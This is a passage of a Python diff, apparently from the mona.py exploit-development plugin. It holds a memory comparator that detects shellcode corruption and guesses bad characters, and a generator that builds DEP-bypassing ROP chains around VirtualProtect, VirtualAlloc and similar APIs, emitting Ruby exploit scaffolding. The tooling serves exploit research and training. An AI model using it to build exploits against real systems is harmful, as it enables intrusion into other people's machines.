cache = {} + def wrapper(*args): + if args in cache: + return cache[args] + import time; start = time.time() + val = func(*args) + if isinstance(val, types.GeneratorType): + val = list(val) + cache[args] = val + return val + wrapper.__doc__ = func.__doc__ + wrapper.func_name = '%s_memoized' % func.func_name + return wrapper + +class MemoryComparator(object): + ''' Solve the memory comparison problem with a special dynamic programming + algorithm similar to that for the LCS problem ''' + + Chunk = namedtuple('Chunk', 'unmodified i j dx dy xchunk ychunk') + + move_to_gradient = { + 0: (0, 0), + 1: (0, 1), + 2: (1, 1), + 3: (2, 1), + } + + def __init__(self, x, y): + self.x, self.y = x, y + + @memoized + def get_last_unmodified_chunk(self): + ''' Returns the index of the last chunk of size > 1 that is unmodified ''' + try: + return max(i for i, c in enumerate(self.get_chunks()) if c.unmodified and c.dx > 1) + except: + # no match + return -1 + + @memoized + def get_grid(self): + ''' Builds a 2-d suffix grid for our DP algorithm. ''' + x = self.x + y = self.y[:len(x)*2] + width, height = len(x), len(y) + values = [[0] * (width + 1) for j in range(height + 1)] + moves = [[0] * (width + 1) for j in range(height + 1)] + equal = [[x[i] == y[j] for i in range(width)] for j in range(height)] + equal.append([False] * width) + + for j, i in itertools.product(rrange(height + 1), rrange(width + 1)): + value = values[j][i] + if i >= 1 and j >= 1: + if equal[j-1][i-1]: + values[j-1][i-1] = value + 1 + moves[j-1][i-1] = 2 + elif value > values[j][i-1]: + values[j-1][i-1] = value + moves[j-1][i-1] = 2 + if i >= 1 and not equal[j][i-1] and value - 2 > values[j][i-1]: + values[j][i-1] = value - 2 + moves[j][i-1] = 1 + if i >= 1 and j >= 2 and not equal[j-2][i-1] and value - 1 > values[j-2][i-1]: + values[j-2][i-1] = value - 1 + moves[j-2][i-1] = 3 + return (values, moves) + + @memoized + def get_blocks(self): + ''' + Compares two binary strings under the assumption that y is the result of + applying the following transformations onto x: + + * change single bytes in x (likely) + * expand single bytes in x to two bytes (less likely) + * drop single bytes in x (even less likely) + + Returns a generator that yields elements of the form (unmodified, xdiff, ydiff), + where each item represents a binary chunk with "unmodified" denoting whether the + chunk is the same in both strings, "xdiff" denoting the size of the chunk in x + and "ydiff" denoting the size of the chunk in y. + + Example: + >>> x = "abcdefghijklm" + >>> y = "mmmcdefgHIJZklm" + >>> list(MemoryComparator(x, y).get_blocks()) + [(False, 2, 3), (True, 5, 5), + (False, 3, 4), (True, 3, 3)] + ''' + x, y = self.x, self.y + _, moves = self.get_grid() + + # walk the grid + path = [] + i, j = 0, 0 + while True: + dy, dx = self.move_to_gradient[moves[j][i]] + if dy == dx == 0: break + path.append((dy == 1 and x[i] == y[j], dy, dx)) + j, i = j + dy, i + dx + + for i, j in zip(range(i, len(x)), itertools.count(j)): + if j < len(y): path.append((x[i] == y[j], 1, 1)) + else: path.append((False, 0, 1)) + + i = j = 0 + for unmodified, subpath in itertools.groupby(path, itemgetter(0)): + ydiffs = map(itemgetter(1), subpath) + dx, dy = len(ydiffs), sum(ydiffs) + yield unmodified, dx, dy + i += dx + j += dy + + @memoized + def get_chunks(self): + i = j = 0 + for unmodified, dx, dy in self.get_blocks(): + yield self.Chunk(unmodified, i, j, dx, dy, self.x[i:i+dx], self.y[j:j+dy]) + i += dx + j += dy + + @memoized + def guess_mapping(self): + ''' Tries to guess how the bytes in x have been mapped to substrings in y by + applying nasty heuristics. + + Examples: + >>> list(MemoryComparator("abcdefghijklm", "mmmcdefgHIJZklm").guess_mapping()) + [('m', 'm'), ('m',), ('c',), ('d',), ('e',), ('f',), ('g',), ('H', 'I'), ('J',), + ('Z',), ('k',), ('l',), ('m',)] + >>> list(MemoryComparator("abcdefgcbadefg", "ABBCdefgCBBAdefg").guess_mapping()) + [('A',), ('B', 'B'), ('C',), ('d',), ('e',), ('f',), ('g',), ('C',), ('B', 'B'), + ('A',), ('d',), ('e',), ('f',), ('g',)] + ''' + x, y = self.x, self.y + + mappings_by_byte = defaultdict(lambda: defaultdict(int)) + for c in self.get_chunks(): + dx, dy = c.dx, c.dy + # heuristics to detect expansions + if dx < dy and dy - dx <= 3 and dy <= 5: + for i, b in enumerate(c.xchunk): + slices = set() + for start in range(i, min(2*i + 1, dy)): + for size in range(1, min(dy - start + 1, 3)): + slc = tuple(c.ychunk[start:start+size]) + if slc in slices: continue + mappings_by_byte[b][slc] += 1 + slices.add(slc) + + for b, values in mappings_by_byte.iteritems(): + mappings_by_byte[b] = sorted(values.items(), + key=lambda (value, count): (-count, -len(value))) + + for c in self.get_chunks(): + dx, dy, xchunk, ychunk = c.dx, c.dy, c.xchunk, c.ychunk + if dx < dy: # expansion + # try to apply heuristics for small chunks + if dx <= 10: + res = [] + for b in xchunk: + if dx == dy or dy >= 2*dx: break + for value, count in mappings_by_byte[b]: + if tuple(ychunk[:len(value)]) != value: continue + res.append(value) + ychunk = ychunk[len(value):] + dy -= len(value) + break + else: + yield (ychunk[0],) + ychunk = ychunk[1:] + dy -= 1 + dx -= 1 + for c in res: yield c + + # ... or do it the stupid way. If n bytes were changed to m, simply do + # as much drops/expansions as necessary at the beginning and than + # yield the rest of the y chunk as single-byte modifications + for k in range(dy - dx): yield tuple(ychunk[2*k:2*k+2]) + ychunk = ychunk[2*(dy - dx):] + elif dx > dy: + for _ in range(dx - dy): yield () + + for b in ychunk: yield (b,) + +def read_memory(dbg, location, max_size): + ''' read the maximum amount of memory from the given address ''' + for i in rrange(max_size + 1, 0): + mem = dbg.readMemory(location, i) + if len(mem) == i: + return mem + # we should never get here, i == 0 should always fulfill the above condition + assert False + +def shorten_bytes(bytes, size=8): + if len(bytes) <= size: return bin2hex(bytes) + return '%02x ... %02x' % (ord(bytes[0]), ord(bytes[-1])) + +def draw_byte_table(mapping, log, columns=16): + hrspace = 3 * columns - 1 + hr = '-'*hrspace + log(' ,' + hr + '.') + log(' |' + ' Comparison results:'.ljust(hrspace) + '|') + log(' |' + hr + '|') + for i, chunk in enumerate(extract_chunks(mapping, columns)): + chunk = list(chunk) # save generator result in a list + src, mapped = zip(*chunk) + values = [] + for left, right in zip(src, mapped): + if left == right: values.append('') # byte matches original + elif len(right) == 0: values.append('-1') # byte dropped + elif len(right) == 2: values.append('+1') # byte expanded + else: values.append(bin2hex(right)) # byte modified + line1 = '%3x' % (i * columns) + ' |' + bin2hex(src) + line2 = ' |' + ' '.join(sym.ljust(2) for sym in values) + + # highlight lines if a modification was detected - removed, looks bad in WinDBG + #highlight = any(x != y for x, y in chunk) + #for l in (line1, line2): + log(line1.ljust(5 + hrspace) + '| File') + log(line2.ljust(5 + hrspace) + '| Memory') + log(' `' + hr + "'") + +def draw_chunk_table(cmp, log): + ''' Outputs a table that compares the found memory chunks side-by-side + in input file vs. memory ''' + table = [('', '', '', '', 'File', 'Memory', 'Note')] + delims = (' ', ' ', ' ', ' | ', ' | ', ' | ', '') + last_unmodified = cmp.get_last_unmodified_chunk() + for c in cmp.get_chunks(): + if c.dy == 0: note = 'missing' + elif c.dx > c.dy: note = 'compacted' + elif c.dx < c.dy: note = 'expanded' + elif c.unmodified: note = 'unmodified!' + else: note = 'corrupted' + table.append((c.i, c.j, c.dx, c.dy, shorten_bytes(c.xchunk), shorten_bytes(c.ychunk), note)) + + # draw the table + sizes = tuple(max(len(str(c)) for c in col) for col in zip(*table)) + for i, row in enumerate(table): + log(''.join(str(x).ljust(size) + delim for x, size, delim in zip(row, sizes, delims))) + if i == 0 or (i == last_unmodified + 1 and i < len(table)): + log('-' * (sum(sizes) + sum(len(d) for d in delims))) + +def guess_bad_chars(cmp, log, logsilent): + guessed_badchars = [] + ''' Tries to guess bad characters and outputs them ''' + bytes_in_changed_blocks = defaultdict(int) + chunks = cmp.get_chunks() + last_unmodified = cmp.get_last_unmodified_chunk() + for i, c in enumerate(chunks): + if c.unmodified: continue + if i == last_unmodified + 1: + # only report the first character as bad in the final corrupted chunk + bytes_in_changed_blocks[c.xchunk[0]] += 1 + break + for b in set(c.xchunk): + bytes_in_changed_blocks[b] += 1 + + # guess bad chars + likely_bc = [char for char, count in bytes_in_changed_blocks.iteritems() if count > 2] + if likely_bc: + if not logsilent: + log("Very likely bad chars: %s" % bin2hex(sorted(likely_bc))) + guessed_badchars += list(sorted(likely_bc)) + if not logsilent: + log("Possibly bad chars: %s" % bin2hex(sorted(bytes_in_changed_blocks))) + guessed_badchars += list(sorted(bytes_in_changed_blocks)) + + # list bytes already omitted from the input + bytes_omitted_from_input = set(map(chr, range(0, 256))) - set(cmp.x) + if bytes_omitted_from_input: + log("Bytes omitted from input: %s" % bin2hex(sorted(bytes_omitted_from_input))) + guessed_badchars += list(sorted( bytes_omitted_from_input)) + + # return list, use list(set(..)) to remove dups + return list(set(guessed_badchars)) + +def memcompare(location, src, comparetable, sctype, smart=True, tablecols=16): + ''' Thoroughly compares an input binary string with a location in memory + and outputs the results. ''' + + # set up logging + objlogfile = MnLog("compare.txt") + logfile = objlogfile.reset(False) + + # helpers + def log(msg='', **kw): + msg = str(msg) + dbg.log(msg, address=location, **kw) + objlogfile.write(msg, logfile) + + def add_to_table(msg,badbytes = []): + locinfo = MnPointer(location).memLocation() + badbstr = " " + if len(badbytes) > 0: + badbstr = "%s " % bin2hex(sorted(badbytes)) + comparetable.add(0, ['0x%08x' % location, msg, badbstr, sctype, locinfo]) + + objlogfile.write("-" * 100,logfile) + log('[+] Comparing with memory at location : 0x%08x (%s)' % (location,MnPointer(location).memLocation()), highlight=1) + dbg.updateLog() + + mem = read_memory(dbg, location, 2*len(src)) + if smart: + cmp = MemoryComparator(src, mem) + mapped_chunks = map(''.join, cmp.guess_mapping()) + else: + mapped_chunks = list(mem[:len(src)]) + [()] * (len(src) - len(mem)) + mapping = zip(src, mapped_chunks) + + broken = [(i,x,y) for i,(x,y) in enumerate(mapping) if x != y] + if not broken: + log('!!! Hooray, %s shellcode unmodified !!!' % sctype, focus=1, highlight=1) + add_to_table('Unmodified') + guessed_bc = guess_bad_chars(cmp, log, True) + else: + log("Only %d original bytes of '%s' code found." % (len(src) - len(broken), sctype)) + draw_byte_table(mapping, log, columns=tablecols) + log() + guessed_bc = [] + if smart: + # print additional analysis + draw_chunk_table(cmp, log) + log() + guessed_bc = guess_bad_chars(cmp, log, False) + log() + add_to_table('Corruption after %d bytes' % broken[0][0],guessed_bc) + + +#-----------------------------------------------------------------------# +# ROP related functions +#-----------------------------------------------------------------------# + +def createRopChains(suggestions,interestinggadgets,allgadgets,modulecriteria,criteria,objprogressfile,progressfile): + """ + Will attempt to produce ROP chains + """ + + global ptr_to_get + global ptr_counter + global silent + global noheader + global ignoremodules + + + #vars + vplogtxt = "" + + # RVA ? + showrva = False + if "rva" in criteria: + showrva = True + + #define rop routines + routinedefs = {} + routinesetup = {} + + virtualprotect = [["esi","api"],["ebp","jmp esp"],["ebx",0x201],["edx",0x40],["ecx","&?W"],["edi","ropnop"],["eax","nop"]] + virtualalloc = [["esi","api"],["ebp","jmp esp"],["ebx",0x01],["edx",0x1000],["ecx",0x40],["edi","ropnop"],["eax","nop"]] + setinformationprocess = [["ebp","api"],["edx",0x22],["ecx","&","0x00000002"],["ebx",0xffffffff],["eax",0x4],["edi","pop"]] + setprocessdeppolicy = [["ebp","api"],["ebx","&","0x00000000"],["edi","pop"]] + + routinedefs["VirtualProtect"] = virtualprotect + routinedefs["VirtualAlloc"] = virtualalloc + # only run these on older systems + osver=dbg.getOsVersion() + if not (osver == "6" or osver == "7" or osver == "8" or osver == "vista" or osver == "win7" or osver == "2008server" or osver == "win8"): + routinedefs["SetInformationProcess"] = setinformationprocess + routinedefs["SetProcessDEPPolicy"] = setprocessdeppolicy + + modulestosearch = getModulesToQuery(modulecriteria) + + routinesetup["VirtualProtect"] = """-------------------------------------------- + EAX = NOP (0x90909090) + ECX = lpOldProtect (ptr to W address) + EDX = NewProtect (0x40) + EBX = dwSize + ESP = lPAddress (automatic) + EBP = ReturnTo (ptr to jmp esp) + ESI = ptr to VirtualProtect() + EDI = ROP NOP (RETN) + --- alternative chain --- + EAX = ptr to &VirtualProtect() + ECX = lpOldProtect (ptr to W address) + EDX = NewProtect (0x40) + EBX = dwSize + ESP = lPAddress (automatic) + EBP = POP (skip 4 bytes) + ESI = ptr to JMP [EAX] + EDI = ROP NOP (RETN) + + place ptr to "jmp esp" on stack, below PUSHAD +--------------------------------------------""" + + + routinesetup["VirtualAlloc"] = """-------------------------------------------- + EAX = NOP (0x90909090) + ECX = flProtect (0x40) + EDX = flAllocationType (0x1000) + EBX = dwSize + ESP = lpAddress (automatic) + EBP = ReturnTo (ptr to jmp esp) + ESI = ptr to VirtualAlloc() + EDI = ROP NOP (RETN) + --- alternative chain --- + EAX = ptr to &VirtualAlloc() + ECX = flProtect (0x40) + EDX = flAllocationType (0x1000) + EBX = dwSize + ESP = lpAddress (automatic) + EBP = POP (skip 4 bytes) + ESI = ptr to JMP [EAX] + EDI = ROP NOP (RETN) + + place ptr to "jmp esp" on stack, below PUSHAD +--------------------------------------------""" + + routinesetup["SetInformationProcess"] = """-------------------------------------------- + EAX = SizeOf(ExecuteFlags) (0x4) + ECX = &ExecuteFlags (ptr to 0x00000002) + EDX = ProcessExecuteFlags (0x22) + EBX = NtCurrentProcess (0xffffffff) + ESP = ReturnTo (automatic) + EBP = ptr to NtSetInformationProcess() + ESI = + EDI = ROP NOP (4 byte stackpivot) +--------------------------------------------""" + + routinesetup["SetProcessDEPPolicy"] = """-------------------------------------------- + EAX = + ECX = + EDX = + EBX = dwFlags (ptr to 0x00000000) + ESP = ReturnTo (automatic) + EBP = ptr to SetProcessDEPPolicy() + ESI = + EDI = ROP NOP (4 byte stackpivot) +--------------------------------------------""" + + updatetxt = "" + + for routine in routinedefs: + + thischain = {} + updatetxt = "Attempting to produce rop chain for %s" % routine + dbg.log("[+] %s" % updatetxt) + objprogressfile.write("- " + updatetxt,progressfile) + vplogtxt += "\n" + vplogtxt += "#" * 80 + vplogtxt += "\n\nRegister setup for " + routine + "() :\n" + routinesetup[routine] + "\n\n" + targetOS = "(XP/2003 Server and up)" + if routine == "SetInformationProcess": + targetOS = "(XP/2003 Server only)" + if routine == "SetProcessDEPPolicy": + targetOS = "(XP SP3/Vista SP1/2008 Server SP1, can be called only once per process)" + title = "ROP Chain for %s() [%s] :" % (routine,targetOS) + vplogtxt += "\n%s\n" % title + vplogtxt += ("-" * len(title)) + "\n\n" + vplogtxt += "*** [ Ruby ] ***\n\n" + vplogtxt += " def create_rop_chain()\n" + vplogtxt += '\n # rop chain generated with mona.py - www.corelan.be' + vplogtxt += "\n rop_gadgets = \n" + vplogtxt += " [\n" + + thischaintxt = "" + + dbg.updateLog() + modused = {} + + skiplist = [] + replacelist = {} + toadd = {} + + movetolast = [] + regsequences = [] + stepcnt = 1 + for step in routinedefs[routine]: + thisreg = step[0] + thistarget = step[1] + + if thisreg in replacelist: + thistarget = replacelist[thisreg] + + thistimestamp=datetime.datetime.now().strftime("%a %Y/%m/%d %I:%M:%S %p") + dbg.log(" %s: Step %d/%d: %s" % (thistimestamp,stepcnt,len(routinedefs[routine]),thisreg)) + stepcnt += 1 + + if not thisreg in skiplist: + + regsequences.append(thisreg) + + # this must be done first, so we can determine deviations to the chain using + # replacelist and skiplist arrays + if str(thistarget) == "api": + objprogressfile.write(" * Enumerating ROPFunc info",progressfile) + #dbg.log(" Enumerating ROPFunc info") + # routine to put api pointer in thisreg + funcptr,functext = getRopFuncPtr(routine,modulecriteria,criteria,"iat") + if routine == "SetProcessDEPPolicy" and funcptr == 0: + # read EAT + funcptr,functext = getRopFuncPtr(routine,modulecriteria,criteria,"eat") + extra = "" + if funcptr == 0: + extra = "[-] Unable to find ptr to " + thischain[thisreg] = [[0,extra + routine + "() (-> to be put in " + thisreg + ")",0]] + else: + thischain[thisreg] = putValueInReg(thisreg,funcptr,routine + "() [" + MnPointer(funcptr).belongsTo() + "]",suggestions,interestinggadgets,criteria) + else: + objprogressfile.write(" Function pointer : 0x%0x",funcptr) + objprogressfile.write(" * Getting pickup gadget",progressfile) + thischain[thisreg],skiplist = getPickupGadget(thisreg,funcptr,functext,suggestions,interestinggadgets,criteria,modulecriteria,routine) + # if skiplist is not empty, then we are using the alternative pickup (via jmp [eax]) + # this means we have to make some changes to the routine + # and place this pickup at the end + + if len(skiplist) > 0: + if routine.lower() == "virtualprotect" or routine.lower() == "virtualalloc": + replacelist["ebp"] = "pop" + + #set up call to finding jmp esp + oldsilent = silent + silent=True + ptr_counter = 0 + ptr_to_get = 3 + jmpreg = findJMP(modulecriteria,criteria,"esp") + ptr_counter = 0 + ptr_to_get = -1 + jmpptr = 0 + jmptype = "" + silent=oldsilent + total = getNrOfDictElements(jmpreg) + if total > 0: + ptrindex = random.randint(1,total) + indexcnt= 1 + for regtype in jmpreg: + for ptr in jmpreg[regtype]: + if indexcnt == ptrindex: + jmpptr = ptr + jmptype = regtype + break + indexcnt += 1 + if jmpptr > 0: + toadd[thistarget] = [jmpptr,"ptr to '" + jmptype + "'"] + else: + toadd[thistarget] = [jmpptr,"ptr to 'jmp esp'"] + # make sure the pickup is placed last + movetolast.append(thisreg) + + + if str(thistarget).startswith("jmp"): + targetreg = str(thistarget).split(" ")[1] + #set up call to finding jmp esp + oldsilent = silent + silent=True + ptr_counter = 0 + ptr_to_get = 3 + jmpreg = findJMP(modulecriteria,criteria,targetreg) + ptr_counter = 0 + ptr_to_get = -1 + jmpptr = 0 + jmptype = "" + silent=oldsilent + total = getNrOfDictElements(jmpreg) + if total > 0: + ptrindex = random.randint(1,total) + indexcnt= 1 + for regtype in jmpreg: + for ptr in jmpreg[regtype]: + if indexcnt == ptrindex: + jmpptr = ptr + jmptype = regtype + break + indexcnt += 1 + jmpinfo = "" + if jmpptr == 0: + jmptype = "" + jmpinfo = "Unable to find ptr to 'JMP ESP'" + else: + jmpinfo = MnPointer(jmpptr).belongsTo() + thischain[thisreg] = putValueInReg(thisreg,jmpptr,"& " + jmptype + " [" + jmpinfo + "]",suggestions,interestinggadgets,criteria) + + + if str(thistarget) == "ropnop": + ropptr = 0 + for poptype in suggestions: + if poptype.startswith("pop "): + for retptr in suggestions[poptype]: + if getOffset(interestinggadgets[retptr]) == 0 and interestinggadgets[retptr].count("#") == 2: + ropptr = retptr+1 + break + if poptype.startswith("inc "): + for retptr in suggestions[poptype]: + if getOffset(interestinggadgets[retptr]) == 0 and interestinggadgets[retptr].count("#") == 2: + ropptr = retptr+1 + break + if poptype.startswith("dec "): + for retptr in suggestions[poptype]: + if getOffset(interestinggadgets[retptr]) == 0 and interestinggadgets[retptr].count("#") == 2: + ropptr = retptr+1 + break + if poptype.startswith("neg "): + for retptr in suggestions[poptype]: + if getOffset(interestinggadgets[retptr]) == 0 and interestinggadgets[retptr].count("#") == 2: + ropptr = retptr+2 + break + + if ropptr == 0: + for emptytype in suggestions: + if emptytype.startswith("empty "): + for retptr in suggestions[emptytype]: + if interestinggadgets[retptr].startswith("# XOR"): + if getOffset(interestinggadgets[retptr]) == 0: + ropptr = retptr+2 + break + if ropptr > 0: + thischain[thisreg] = putValueInReg(thisreg,ropptr,"RETN (ROP NOP) [" + MnPointer(ropptr).belongsTo() + "]",suggestions,interestinggadgets,criteria) + else: + thischain[thisreg] = putValueInReg(thisreg,ropptr,"[-] Unable to find ptr to RETN (ROP NOP)",suggestions,interestinggadgets,criteria) + + + if thistarget.__class__.__name__ == "int" or thistarget.__class__.__name__ == "long": + thischain[thisreg] = putValueInReg(thisreg,thistarget,"0x" + toHex(thistarget) + "-> " + thisreg,suggestions,interestinggadgets,criteria) + + + if str(thistarget) == "nop": + thischain[thisreg] = putValueInReg(thisreg,0x90909090,"nop",suggestions,interestinggadgets,criteria) + + + if str(thistarget).startswith("&?"): + #pointer to + rwptr = getAPointer(modulestosearch,criteria,"RW") + if rwptr == 0: + rwptr = getAPointer(modulestosearch,criteria,"W") + if rwptr != 0: + thischain[thisreg] = putValueInReg(thisreg,rwptr,"&Writable location [" + MnPointer(rwptr).belongsTo()+"]",suggestions,interestinggadgets,criteria) + else: + thischain[thisreg] = putValueInReg(thisreg,rwptr,"[-] Unable to find writable location",suggestions,interestinggadgets,criteria) + + + if str(thistarget).startswith("pop"): + #get distance + if "pop " + thisreg in suggestions: + popptr = getShortestGadget(suggestions["pop "+thisreg]) + junksize = getJunk(interestinggadgets[popptr])-4 + thismodname = MnPointer(popptr).belongsTo() + thischain[thisreg] = [[popptr,"",junksize],[popptr,"skip 4 bytes [" + thismodname + "]"]] + else: + thischain[thisreg] = [[0,"[-] Couldn't find a gadget to put a pointer to a stackpivot (4 bytes) into "+ thisreg,0]] + + + if str(thistarget)==("&"): + pattern = step[2] + base = 0 + top = TOP_USERLAND + type = "ptr" + al = criteria["accesslevel"] + criteria["accesslevel"] = "R" + ptr_counter = 0 + ptr_to_get = 2 + oldsilent = silent + silent=True + allpointers = findPattern(modulecriteria,criteria,pattern,type,base,top) + silent = oldsilent + criteria["accesslevel"] = al + if len(allpointers) > 0: + theptr = 0 + for ptrtype in allpointers: + for ptrs in allpointers[ptrtype]: + theptr = ptrs + break + thischain[thisreg] = putValueInReg(thisreg,theptr,"&" + str(pattern) + " [" + MnPointer(theptr).belongsTo() + "]",suggestions,interestinggadgets,criteria) + else: + thischain[thisreg] = putValueInReg(thisreg,0,"[-] Unable to find ptr to " + str(pattern),suggestions,interestinggadgets,criteria) + + returnoffset = 0 + delayedfill = 0 + junksize = 0 + # get longest modulename + longestmod = 0 + fillersize = 0 + for step in routinedefs[routine]: + thisreg = step[0] + if thisreg in thischain: + for gadget in thischain[thisreg]: + thismodname = sanitize_module_name(MnPointer(gadget[0]).belongsTo()) + if len(thismodname) > longestmod: + longestmod = len(thismodname) + if showrva: + fillersize = longestmod + 8 + else: + fillersize = 0 + + # modify the chain order (regsequences array) + for reg in movetolast: + if reg in regsequences: + regsequences.remove(reg) + regsequences.append(reg) + + + regimpact = {} + # create the current chain + ropdbchain = "" + tohex_array = [] + for step in regsequences: + thisreg = step + if thisreg in thischain: + for gadget in thischain[thisreg]: + gadgetstep = gadget[0] + steptxt = gadget[1] + junksize = 0 + showfills = False + if len(gadget) > 2: + junksize = gadget[2] + if gadgetstep in interestinggadgets and steptxt == "": + thisinstr = interestinggadgets[gadgetstep].lstrip() + if thisinstr.startswith("#"): + thisinstr = thisinstr[2:len(thisinstr)] + showfills = True + thismodname = MnPointer(gadgetstep).belongsTo() + thisinstr += " [" + thismodname + "]" + tmod = MnModule(thismodname) + if not thismodname in modused: + modused[thismodname] = [tmod.moduleBase,tmod.__str__()] + modprefix = "base_" + sanitize_module_name(thismodname) + if showrva: + alignsize = longestmod - len(sanitize_module_name(thismodname)) + vplogtxt += " %s + 0x%s,%s # %s %s\n" % (modprefix,toHex(gadgetstep-tmod.moduleBase),toSize("",alignsize),thisinstr,steptxt) + thischaintxt += " %s + 0x%s,%s # %s %s\n" % (modprefix,toHex(gadgetstep-tmod.moduleBase),toSize("",alignsize),thisinstr,steptxt) + else: + vplogtxt += " 0x%s, # %s %s\n" % (toHex(gadgetstep),thisinstr,steptxt) + thischaintxt += " 0x%s, # %s %s\n" % (toHex(gadgetstep),thisinstr,steptxt) + ropdbchain += ' %s\n' % (toHex(gadgetstep-tmod.moduleBase),thisinstr.strip(" ")) + tohex_array.append(gadgetstep) + + if showfills: + vplogtxt += createJunk(returnoffset,"Filler (RETN offset compensation)",fillersize) + thischaintxt += createJunk(returnoffset,"Filler (RETN offset compensation)",fillersize) + if returnoffset > 0: + ropdbchain += ' Filler\n' + returnoffset = getOffset(interestinggadgets[gadgetstep]) + if delayedfill > 0: + vplogtxt += createJunk(delayedfill,"Filler (compensate)",fillersize) + thischaintxt += createJunk(delayedfill,"Filler (compensate)",fillersize) + ropdbchain += ' Filler\n' + delayedfill = 0 + if thisinstr.startswith("POP "): + delayedfill = junksize + else: + vplogtxt += createJunk(junksize,"Filler (compensate)",fillersize) + thischaintxt += createJunk(junksize,"Filler (compensate)",fillersize) + if junksize > 0: + ropdbchain += ' Filler\n' + else: + # still could be a pointer + thismodname = MnPointer(gadgetstep).belongsTo() + if thismodname != "": + tmod = MnModule(thismodname) + if not thismodname in modused: + modused[thismodname] = [tmod.moduleBase,tmod.__str__()] + modprefix = "base_" + sanitize_module_name(thismodname) + if showrva: + alignsize = longestmod - len(sanitize_module_name(thismodname)) + vplogtxt += " %s + 0x%s,%s # %s\n" % (modprefix,toHex(gadgetstep-tmod.moduleBase),toSize("",alignsize),steptxt) + thischaintxt += " %s + 0x%s,%s # %s\n" % (modprefix,toHex(gadgetstep-tmod.moduleBase),toSize("",alignsize),steptxt) + else: + vplogtxt += " 0x%s, # %s\n" % (toHex(gadgetstep),steptxt) + thischaintxt += " 0x%s, # %s\n" % (toHex(gadgetstep),steptxt) + ropdbchain += ' %s\n' % (toHex(gadgetstep-tmod.moduleBase),steptxt.strip(" ")) + else: + vplogtxt += " 0x%s,%s # %s\n" % (toHex(gadgetstep),toSize("",fillersize),steptxt) + thischaintxt += " 0x%s,%s # %s\n" % (toHex(gadgetstep),toSize("",fillersize),steptxt) + ropdbchain += ' %s\n' % (toHex(gadgetstep),steptxt.strip(" ")) + + if steptxt.startswith("[-]"): + vplogtxt += createJunk(returnoffset,"Filler (RETN offset compensation)",fillersize) + thischaintxt += createJunk(returnoffset,"Filler (RETN offset compensation)",fillersize) + ropdbchain += ' Filler\n' + returnoffset = 0 + if delayedfill > 0: + vplogtxt += createJunk(delayedfill,"Filler (compensate)",fillersize) + thischaintxt += createJunk(delayedfill,"Filler (compensate)",fillersize) + ropdbchain += ' Filler\n' + delayedfill = 0 + vplogtxt += createJunk(junksize,"",fillersize) + thischaintxt += createJunk(junksize,"",fillersize) + if fillersize > 0: + ropdbchain += ' Filler\n' + # finish it off + steptxt = "" + if "pushad" in suggestions: + shortest_pushad = getShortestGadget(suggestions["pushad"]) + junksize = getJunk(interestinggadgets[shortest_pushad]) + thisinstr = interestinggadgets[shortest_pushad].lstrip() + if thisinstr.startswith("#"): + thisinstr = thisinstr[2:len(thisinstr)] + regimpact = getRegImpact(thisinstr) + thismodname = MnPointer(shortest_pushad).belongsTo() + thisinstr += " [" + thismodname + "]" + tmod = MnModule(thismodname) + if not thismodname in modused: + modused[thismodname] = [tmod.moduleBase,tmod.__str__()] + modprefix = "base_" + sanitize_module_name(thismodname) + if showrva: + alignsize = longestmod - len(thismodname) + vplogtxt += " %s + 0x%s,%s # %s %s\n" % (modprefix,toHex(shortest_pushad - tmod.moduleBase),toSize("",alignsize),thisinstr,steptxt) + thischaintxt += " %s + 0x%s,%s # %s %s\n" % (modprefix,toHex(shortest_pushad - tmod.moduleBase),toSize("",alignsize),thisinstr,steptxt) + else: + vplogtxt += " 0x%s, # %s %s\n" % (toHex(shortest_pushad),thisinstr,steptxt) + thischaintxt += " 0x%s, # %s %s\n" % (toHex(shortest_pushad),thisinstr,steptxt) + ropdbchain += ' %s\n' % (toHex(shortest_pushad-tmod.moduleBase),thisinstr.strip(" ")) + vplogtxt += createJunk(returnoffset,"Filler (RETN offset compensation)",fillersize) + thischaintxt += createJunk(returnoffset,"Filler (RETN offset compensation)",fillersize) + if fillersize > 0: + ropdbchain += ' Filler\n' + vplogtxt += createJunk(junksize,"",fillersize) + thischaintxt += createJunk(junksize,"",fillersize) + if fillersize > 0: + ropdbchain += ' Filler\n' + + else: + vplogtxt += " 0x00000000,%s # %s\n" % (toSize("",fillersize),"[-] Unable to find pushad gadget") + thischaintxt += " 0x00000000,%s # %s\n" % (toSize("",fillersize),"[-] Unable to find pushad gadget") + ropdbchain += ' Unable to find PUSHAD gadget\n' + vplogtxt += createJunk(returnoffset,"Filler (RETN offset compensation)",fillersize) + thischaintxt += createJunk(returnoffset,"Filler (RETN offset compensation)",fillersize) + if returnoffset > 0: + ropdbchain += ' Filler\n' + + # anything else to add ? + if len(toadd) > 0: + for adds in toadd: + theptr = toadd[adds][0] + freetext = toadd[adds][1] + if theptr > 0: + thismodname = MnPointer(theptr).belongsTo() + freetext += " [" + thismodname + "]" + tmod = MnModule(thismodname) + if not thismodname in modused: + modused[thismodname] = [tmod.moduleBase,tmod.__str__()] + modprefix = "base_" + sanitize_module_name(thismodname) + if showrva: + alignsize = longestmod - len(thismodname) + vplogtxt += " %s + 0x%s,%s # %s\n" % (modprefix,toHex(theptr - tmod.moduleBase),toSize("",alignsize),freetext) + thischaintxt += " %s + 0x%s,%s # %s\n" % (modprefix,toHex(theptr - tmod.moduleBase),toSize("",alignsize),freetext) + else: + vplogtxt += " 0x%s, # %s\n" % (toHex(theptr),freetext) + thischaintxt += " 0x%s, # %s\n" % (toHex(theptr),freetext) + ropdbchain += ' %s\n' % (toHex(theptr-tmod.moduleBase),freetext.strip(" ")) + else: + vplogtxt += " 0x%s, # <- Unable to find %s\n" % (toHex(theptr),freetext) + thischaintxt += " 0x%s, # <- Unable to find %s\n" % (toHex(theptr),freetext) + ropdbchain += ' Unable to find %s\n' % (toHex(theptr),freetext.strip(" ")) + + vplogtxt += ' ].flatten.pack("V*")\n' + vplogtxt += '\n return rop_gadgets\n\n' + vplogtxt += ' end\n' + vplogtxt += '\n\n # Call the ROP chain generator inside the \'exploit\' function :\n\n' + calltxt = "rop_chain = create_rop_chain(" + argtxt = "" + vplogtxtpy = "" + vplogtxtc = "" + vplogtxtjs = "" + argtxtpy = "" + if showrva: + for themod in modused: + repr_mod = sanitize_module_name(themod) + vplogtxt += " # " + modused[themod][1] + "\n" + vplogtxtpy += " # " + modused[themod][1] + "\n" + vplogtxtc += " // " + modused[themod][1] + "\n" + vplogtxtjs += " // " + modused[themod][1] + "\n" + vplogtxt += " base_" + repr_mod + " = 0x%s\n" % toHex(modused[themod][0]) + vplogtxtjs += " var base_" + repr_mod + " = 0x%s;\n" % toHex(modused[themod][0]) + 